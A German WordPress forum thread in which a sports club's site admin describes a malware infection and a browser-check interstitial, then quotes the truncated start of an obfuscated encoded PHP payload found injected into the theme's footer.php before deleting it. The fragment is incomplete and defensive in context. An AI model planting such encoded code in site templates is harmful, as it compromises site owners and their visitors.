Malware auf meiner Wordpress Seite?

Hallo zusammen,
dies ist mein erstern Eintrag in dem WPDE Forum, da ich auf der Suche nach Hilfe bin.
Ich habe seit längerem mit Viren/Hackerangriffen auf unsere Handballvereinshomepage zu kämpfen. Zwar bin ich für den technischen Dienst zuständig, doch leider kenne ich mich nicht genügend mit PHP und Co. aus, um das aktuelle Problem zu lösen.

Es handelt sich um folgende URL:
www.sv-erbach.de

Vor ca einem halben Jahr wurde unsere Homepage von Google aufgrund Malware-Verbreitung gesperrt. Zusammen mit unserem Hoster 1&1 habe ich die schädlichen Dateien ausfindig machen und löschen können.
Seit dieser Zeit tritt beim erstmaligen Besuchen der Homepage des öfteren folgende Nachricht auf.

Checking your browser before accessing www.sv-erbach.de....

Darunter ist ein Link namens "Continue".

Nach kurzer Zeit wird man dann auf die eigentliche Homepage weitergeleitet, wo dann scheinbar auch alles funktioniert.

Nach vermehrter Suche im Internet bin ich mit meiner Meinung zweigeteilt, ob diese Nachricht nun bedenklich oder nicht bedenklich sein soll....

Kann mir jemand Auskunft geben und mir evtl. beider Lösung dieses Problems helfen?

Vielen lieben Dank!
Mit freundlichen Grüßen,
Jens

 

das template, das du gesehen hast war warscheinlich ein standarttemplate von wordpress. das originaltemplate sieht ordentlich aus. dies ist mit artisteer erstellt worden. vieleicht liegt hier ja die sicherheitslücke, da das standarttemplate die fehlermeldung nicht anzeigt.

 

habe gerade in der footer.php von der template folgenden code gefunden. scheint ja nicht besonders toll zu sein..
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?>
<?php
$encoded = "clw8NzU5MTYnPjY5NT1JJ08pNj9YRVhfVisxG087IQ8fIV9Dclw8NzU5M

 

nach dem löschen des fehlerhaften codes zeigt https://sitecheck.sucuri.net/ nun nurnoch 2 fehlermeldungen an. diese werden auch nur mit dem selbstgemachten theme angezeigt.